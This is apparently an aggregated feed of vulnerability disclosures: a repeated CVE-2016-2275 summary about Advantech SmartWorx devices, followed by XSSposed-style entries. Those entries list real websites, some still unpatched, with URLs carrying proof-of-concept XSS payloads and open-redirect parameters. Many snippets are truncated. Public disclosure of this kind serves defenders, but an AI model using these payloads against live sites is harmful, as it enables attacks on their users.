CVE-2016-2275

The web interface on Advantech/B+B SmartWorx VESP211-EU devices with firmware 1.7.2 and VESP211-232 devices with firmware 1.5.1 and 1.7.2 relies on the client to implement access control, which allows remote attackers to perform administrative actions via modified JavaScript code...

Improper access control

The web interface on Advantech/B+B SmartWorx VESP211-EU devices with firmware 1.7.2 and VESP211-232 devices with firmware 1.5.1 and 1.7.2 relies on the client to implement access control, which allows remote attackers to perform administrative actions via modified JavaScript code...

CVE-2016-2275

The web interface on Advantech/B+B SmartWorx VESP211-EU devices with firmware 1.7.2 and VESP211-232 devices with firmware 1.5.1 and 1.7.2 relies on the client to implement access control, which allows remote attackers to perform administrative actions via modified JavaScript code...

CVE-2016-2275

CVE-2016-2275 affects Advantech/B+B SmartWorx VESP211-EU (firmware 1.7.2) and VESP211-232 (firmware 1.5.1 and 1.7.2). The web interface relies on client-side authentication, permitting remote attackers to perform administrative actions by modifying JavaScript. Exposure is via network-accessible w...

timefederalsavings.com XSS vulnerability

Vulnerable URL: http://www.timefederalsavings.com/newsite2/wp-content/plugins/wp-js-external-link-info/redirect.php?blog=%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 17:24 GMT Vulnerability type...

bieszczady.pl XSS vulnerability

Vulnerable URL: http://www.bieszczady.pl/?ftsearch=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 282209 Google Pagerank| 5 VIP website status:| No Check bieszczady.pl SSL...

portalbraniewo.pl XSS vulnerability

Vulnerable URL: http://www.portalbraniewo.pl/szukaj?word=%22%20autofocus%20onfocus=%22alert%28/XSSPOSED/%29 Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:50 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

czarny-dunajec.pl XSS vulnerability

Vulnerable URL: http://www.czarny-dunajec.pl/szukaj Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3507612 Google Pagerank| 3 VIP website status:| No Check czarny-dunajec.pl SSL...

aax-eu.amazon-adsystem.com Open Redirect vulnerability

Vulnerable URL: http://aax-eu.amazon-adsystem.com/x/c/QYYmi8VLAVJv57VzzXrFwJgAAAFS9hAGSAMAAAFAvBHDyA/https://www.xssposed.org Details: Description| Value ---|--- Patched:| Yes, at 11.03.2016 Latest check for patch:| 11.03.2016 00:33 GMT Vulnerability type:| Open Redirect Vulnerability status:|...

pixel.everesttech.net Open Redirect vulnerability

Vulnerable URL: http://pixel.everesttech.net/2792/cq?evct=dsid=77ci=1330036178ai=1334845795cri=1349442042=https://www.xssposed.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alex...

ads.simpli.fi Open Redirect vulnerability

Vulnerable URL:...

servive.pt XSS vulnerability

Vulnerable URL: http://www.servive.pt/pesqresult.php?nomepesq=asd%22%27/;%3E%3Cscript%3Eprompt/XSSPOSED/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

b-on.pt XSS vulnerability

Open Bug Bounty ID: OBB-135441 Description| Value ---|--- Affected Website:| b-on.pt Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat Sheet...

isc.ca XSS vulnerability

Vulnerable URL: https://www.isc.ca/Pages/SearchResults.aspx?k=%27%22%3E%3CsvG%20OnLoad=alert%28%27XSSPOSED%27%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 468273 Google...

catalunyacaixa.com XSS vulnerability

Vulnerable URL: http://www.catalunyacaixa.com/Portal/es/Comunes/Form/SolicitudI?cc=PartestalviPlaPensions=Promo%20Plans%20Pensions" onmouseover="confirm/XSSPOSED/"source=Publicmedium=Multilinkcampaign=FormularioPlaPensionsPromo Details: Description| Value ---|--- Patched:| Yes, at 18.03.2016 Late...

ucl.ac.uk XSS vulnerability

Vulnerable URL: http://www.ucl.ac.uk/cgi-bin/history/query.cgi?search1=%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8264...

aadserving.com Open Redirect vulnerability

Vulnerable URL: http://www.aadserving.com/cr?b=760=780===193=UK=8d374fd9b0370ad6ae3efc95847676bf=1455552815638=10c89450-d3ff-11e5-a47d-ecf4bbd49d6c=https://www.xssposed.org Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:42 GMT Vulnerability...

mynews13.com XSS vulnerability

Vulnerable URL:...

lakewoodmediagroup.net Open Redirect vulnerability

Vulnerable URL: http://lakewoodmediagroup.net/adserver/www/delivery/ck.php?oaparams=2bannerid=2085zoneid=20cb=29ec8042fcoadest=https://xssposed.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:|...

epesi.org XSS vulnerability

Vulnerable URL: http://www.epesi.org/thumb.php?f=xssposed%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...